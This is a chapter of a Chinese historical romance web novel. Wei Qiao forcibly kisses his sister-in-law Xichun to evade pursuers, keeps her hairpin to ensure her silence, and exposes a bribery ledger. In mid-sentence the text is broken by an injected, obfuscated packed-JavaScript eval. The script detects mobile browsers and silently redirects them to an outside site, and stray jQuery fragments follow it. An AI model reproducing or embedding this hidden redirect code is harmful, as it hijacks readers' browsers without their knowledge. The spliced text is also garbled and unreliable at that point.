这厢卫峤跑到大花园旁的假山正想赶紧跑回雪松堂,迎面撞见了正提着灯笼打算回青梧园的喜春。
喜春半夜来这里是为了找她的珍珠菊花簪子。那簪子她日日戴着,睡了一觉想起自己还没有把簪子拔下来放好,抬手一摸却发现簪子不见了。喜春马上翻身点灯,在青梧园里找了个遍还是没有找到。想到自己提晚饭时看到墨汁在大花园里头玩,为了和墨汁一起回家她今日走的是假山这边的路,簪子可能落在了路上。
提着灯笼喜春沿着她记忆中走过的地方仔细寻找,终于在假山旁边的草丛里头找到了那支簪子。刚把失而复得的菊花簪子握在手里准备回去,就迎面碰到了神色慌张的卫峤。
“小叔,你怎么在这儿?”喜春很是惊讶,没想到半夜还能和卫峤在这里相遇。
喜春话音刚落卫峤看到远处跃动的火光和噪杂的人声,他一把抢过喜春手里的灯笼吹熄,扔进假山里头。不待喜春抗议就摁住喜春的肩膀把她抵在假山上。
卫峤的一只手掌撑在假山上,另一只按住喜春的肩膀,喜春整个人被他拢在怀抱里。喜春被卫峤突如其来的动作吓到了,她想推开卫峤,发现自己一双手根本推不动他。
那厢卫长松的小厮看到假山边上的人影,兴奋地冲后头跟来的卫长松大喊,“老爷,那贼人在前头。”说话间一群人就提着灯笼朝假山这边跑过来。
卫峤见身前的喜春还在不停用手推搡他的胸膛,一双黑亮的眼睛不满又愤怒地瞪着他。
“你……”喜春搞不懂卫峤要做什么,刚想出声抗议声音就被他用唇封住。
感受到嘴唇上的触碰一瞬间喜春整个人都愣住了,她没有和任何一个男人做过这种事情。这是夫妻间才能做的事情。她想起王嬷嬷讲的故事,她想起那些偷情被杀的寡妇,眼里霎时涌出了泪水。她的手攥成拳头捶向卫峤的肩膀,卫峤吃痛握住她的手腕把她的手一并扼在怀里。
感觉追他的马上就要到了,卫峤松开喜春的唇,嘴唇贴着她的耳朵轻声道:“一会儿不要说话。”
喜春不明白他的意思,刚想说话,突然间她的头被卫峤的手紧紧抱住。
“老爷老爷,就是这儿!”七八个小厮把卫峤和喜春团团围住。
听到突如其来的人声,喜春害怕地把头埋在卫峤的胸口,被卫峤握住的手在不停地颤抖。感受到她的不安,卫峤松开握住喜春的手,拿手紧紧抱住喜春的腰,让她整个人都被挡在自己的怀里,谁也看不清她的样子。
卫长松气喘吁吁地到了假山前,刚想开口让贼人束手就擒,就被卫峤出声打断。
“父亲大晚上不睡觉,抓贼抓到儿子这里来了?”
卫长松被吓了一跳,“卫峤,你怎么在这儿?”卫长松生气道。卫峤这个狼崽子专门跟他对着干。半夜抓贼都能碰到他,也是晦气。
“老爷,二少爷前面还有个丫鬟呢。”卫长松的小厮凑到他面前道。
卫长松抬手给了那小厮一巴掌,“老爷我又没瞎。”
卫峤轻笑出声,喜春感觉到他的胸腔在震动,他道:“父亲,如你所见,儿子正在和人幽会。父亲要找贼人还是去其他地方找吧,不要吓到我怀里的美人儿。”
“卫峤,你简直败坏我卫家的门风!”卫长风狠狠瞪了卫峤一眼就转身朝前院的方向走去。
那几个小厮还在探头探脑想看看在卫峤这儿怀里的丫鬟是谁,卫长松走了也没人注意到。
“人呢,死啦去了!”卫长松一个人走在前头没一个小厮过来给他掌灯。
听到卫长松的暴躁吼才纷纷转身跟上他的步伐。
“老爷,咱还找不找那个贼人?”小厮问。
“不找了,区区一本账簿还奈何不了我。回去睡觉。”这账簿中除了记载他贪污的证据还有通过他的手送到成王府中的证据,只要他要成王提前招呼一声,那贼人也做不了什么。卫峤这个狼崽子不娶妻不纳妾还以为是一个不近女色的柳下惠,结果也是一个在家里勾搭丫鬟的人,也一点倒还有点像他的样子。
等卫长松一行人走远,卫峤才松开手,喜春跟只受惊的兔子一样还在他怀里瑟瑟发抖,温热的呼吸喷在卫峤的胸口。他温声道:“好了,他们走了。”
喜春闻言抬起头左右观察,确定没人之后立马推开他。卫峤也识趣地往后退了几步。喜春那双明显哭过的眼睛定定地看着他,卫峤从她的眼里看到了委屈和失望。他刚想说两句话缓和一下彼此间的紧张气氛,啪的一下喜春的一个巴掌掴到了他的脸上。
喜春的手劲儿大,又是用尽了全力,疼得卫峤轻嘶一声咧起了嘴,好半晌后痛意都没有消失。
“卫峤,我讨厌你!”喜春没想到卫峤会轻薄于她,他明明是个曾经还帮助过她的好人。她抬起袖子擦泪,说完越过卫峤就要往青梧园的方向走去。
刚迈开腿,她的衣袖就被卫峤扯住,她回头瞪他,声音还带着哭腔“你还想干嘛?”
卫峤走到她的面前,歪头看见喜春的手里拿着一个簪子,趁她不备从她手中抽走了那支菊花簪子。喜春还有点懵,反应过来卫峤拿走了自己的簪子,忿忿地睨着他。卫峤嘴角噙着笑,“大嫂的这支簪子我收走了,今晚的事情,我希望大嫂守口如瓶。”
说完,卫峤抬头望了望天,深夜的天空是一片幽蓝。他转身去假山里头找到了那个灯笼,拿出随身的火折子点燃。见喜春一副要打他的表情,他赶紧往前走了几步才转身对喜春说:“这么晚了,大嫂打算在这里过夜吗?”
喜春跺跺脚跟了上去,鼻孔里头不住地哼气。走到青梧园门口,卫峤把灯笼递给喜春。
“小叔,你把簪子还给我吧,我发誓我谁都不会说的。”喜春哀求道。
卫峤笑着摇摇头,“时候不早了,大嫂早些安歇。”说完就转身走了。
望着他潇洒的背影,喜春恼怒地想要吼叫,她重重哼了一声,转身关上了青梧园的大门。她就一支簪子还被卫峤抢走了,卫峤真是知人知面不知心,卫峤是个混蛋。
却说卫峤回去就把喜春的那支菊花簪子放到了自己书房的一个小匣子里头。那本账簿他翻看了一遍,其中记载有各地的官员商贾通过张云瑶的店铺向卫长松行贿的证据,同时还有卫长松通过张云瑶店铺高价收购成王府的廉价古玩向成王府行贿的记录,贿赂的手法跟扬州的商人是一样的,但其数目之高,实在令人瞠目。
虽然一本账簿扳不倒成王和卫长松,但可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372781|184012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让颜仲游对他们产生怀疑,帝王有了怀疑,之后就什么都好做了。卫峤命阿贵暗中把账簿送到张铮的府上,以张铮的脾气定会把账簿如实上交给颜仲游。
果然在阿贵放到张府的第二日朝会上,张铮当着百官的面拿出了账簿。虽成王和卫长松竭力辩解是遭人诬陷,颜仲游还是罚了他们半年的俸禄。罚俸虽小,却体现了颜仲游的态度。私底下卫峤到元和殿去伴驾,颜仲游也对他说起他对这二人的不满。
日子转眼就到了十月,让卫峤意外的是喜春居然没有上门来向他讨要那支发簪。他有次下值回来在小花园里看到她,她也是冷漠地瞪他一眼就转身走了。卫峤有时想起那天晚上的事情,仿佛还能闻到喜春发丝的味道,那是种没有什么香味却让人喜欢的味道。和喜春亲吻也是他人生的第一次,她的唇软得不像话,那滋味至今让他难忘,想起卫长松说的他败坏卫家门风,有时想想如果是和喜春,他也不是不愿意。
十月初,西北又来了信,战事顺利,息海国的太子突然病逝,息海国朝野动乱,丞相代表息海国皇帝甘愿签下止战书。大军不日就将返回京城。
菊花簪子的事情过去久了,喜春也就忘了这一回事。头上虽然素净也不影响她的生活,反正她终日哪里也去不了。时间进入十一月,天冷得厉害,京城里头终日刮着冷飕飕的北风,喜春穿上了新的棉袄和氅衣。这些衣裳是前些日子张云瑶给府里丫鬟们发冬衣时王嬷嬷提了一嘴她几年没有裁过新衣,张云瑶当时心情正好,便挥手让张嬷嬷拿了几件旧料子让人给喜春裁几身衣裳。
初十是爷爷的祭日。喜春从祠堂拿了一些纸钱和一副香烛,等到夜幕降临就来到小花园的十字路口趁着没人给爷爷烧纸。喜春一壁烧纸钱一壁念着爷爷的名字和籍贯,爷爷当初教她给奶奶烧纸也是这么做的,说是一定要说对名字和籍贯,不然在地下的人会收不到亲人烧的纸钱。
赵舆帮扶清买东西从西角门回来,路过小花园就看到有人在烧纸。他走进一看发现是喜春。瞥见喜春脸上神色很是悲伤他就没上前打招呼,回到雪松堂遇到阿贵才顺嘴说了一句。
阿贵倒有些感慨,他娘的祭日也才过去没有多久。他的爹也是很早去世了,娘一个人靠着帮人浆洗衣裳把他养大。八岁那年娘也染上疫病去世了。经常雇他娘洗衣裳的那家男主人跟卫府的管事有些交情就介绍他来卫府当了小厮。他最开始在马房打扫马厩,后来等到二少爷十四岁考中秀才,见身边连个小厮都没有,老爷才把他指给了二少爷,他这才算又有了家。想起往事,阿贵眼睛有点泛酸。
“阿贵,进来吃饭吧。”在小厨房摆好饭的扶清看到阿贵脸色有些哀伤,赶紧招呼他去吃饭。
“走吧,阿贵哥。”赵舆感觉是自己说起这话才让阿贵难过,也扯着阿贵的手臂拉他进小厨房。
卫峤的饭菜扶清早就摆在了正房,他一直在书房忙着公务,饭菜都凉了,扶清又拿到小厨房热了一遍。这会儿又拿到正房里摆好,刚想去书房叫卫峤吃饭就见他走了出来,不过没往正房走反而是往大门外头走。
“二少爷,菜都热好了,你要去哪儿啊?”扶清扬声问道。
“出去一趟。”卫峤说着就走出了雪松堂的大门。